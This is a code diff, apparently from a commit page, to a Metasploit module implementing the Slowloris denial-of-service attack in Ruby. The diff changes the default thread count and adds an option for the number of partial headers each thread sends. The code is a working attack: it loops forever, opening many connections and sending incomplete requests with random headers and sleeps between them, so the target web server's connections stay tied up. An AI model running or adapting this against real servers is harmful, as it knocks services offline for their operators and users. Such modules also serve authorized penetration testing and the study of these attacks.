@@ -11,8 +11,8 @@ def initialize(info = {})
11
11
super ( update_info (
12
12
info ,
13
13
'Name' => 'Slow Loris DoS' ,
14
- 'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15
- It accomplishes this by opening connections to the target web server and sending a partial request.
14
+ 'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15
+ It accomplishes this by opening connections to the target web server and sending a partial request.
16
16
Periodically, it will send subsequent requests, adding to but never completing the request.} ,
17
17
'License' => MSF_LICENSE ,
18
18
'Author' =>
@@ -31,34 +31,33 @@ def initialize(info = {})
31
31
register_options (
32
32
[
33
33
Opt ::RPORT ( 80 ) ,
34
- OptInt . new ( 'THREADS' , [ true , 'The number of concurrent threads' , 5000 ] ) ,
35
- OptInt . new ( 'TIMEOUT ' , [ true , 'The maximum time in seconds to wait for each request to finish ' , 60 ] )
34
+ OptInt . new ( 'THREADS' , [ true , 'The number of concurrent threads' , 1000 ] ) ,
35
+ OptInt . new ( 'HEADERS ' , [ true , 'The number of custom headers sent by each thread ' , 10 ] )
36
36
] )
37
37
end
38
38
39
39
def thread_count
40
40
datastore [ 'THREADS' ]
41
41
end
42
42
43
- def timeout
44
- datastore [ 'TIMEOUT ' ]
43
+ def headers
44
+ datastore [ 'HEADERS ' ]
45
45
end
46
46
47
47
def run
48
48
starting_thread = 1
49
49
header = "GET / HTTP/1.1\r \n "
50
50
threads = [ ]
51
- while true do
52
-
53
- ubound = [ thread_count ] . min
54
- print_status ( "Executing requests #{ starting_thread } - #{ ( starting_thread + ubound ) - 1 } ..." )
55
-
56
- 1 . upto ( ubound ) do |i |
51
+
52
+ loop do
53
+ print_status ( "Executing requests #{ starting_thread } - #{ ( starting_thread + [ thread_count ] . min ) - 1 } ..." )
54
+
55
+ 1 . upto ( [ thread_count ] . min ) do |i |
57
56
threads << framework . threads . spawn ( "Module(#{ self . refname } )-request#{ ( starting_thread - 1 ) + i } " , false , i ) do |i |
58
57
begin
59
58
connect ( )
60
59
sock . puts ( header )
61
- 10 . times do
60
+ headers . times do
62
61
data = "X-a-#{ rand ( 0 ..1000 ) } : b\r \n "
63
62
sock . puts ( data )
64
63
sleep rand ( 1 ..15 )
@@ -67,7 +66,7 @@ def run
67
66
end
68
67
end
69
68
threads . each ( &:join )
70
- starting_thread += ubound
69
+ starting_thread += [ thread_count ] . min
71
70
end
72
71
end
73
72
end
0 commit comments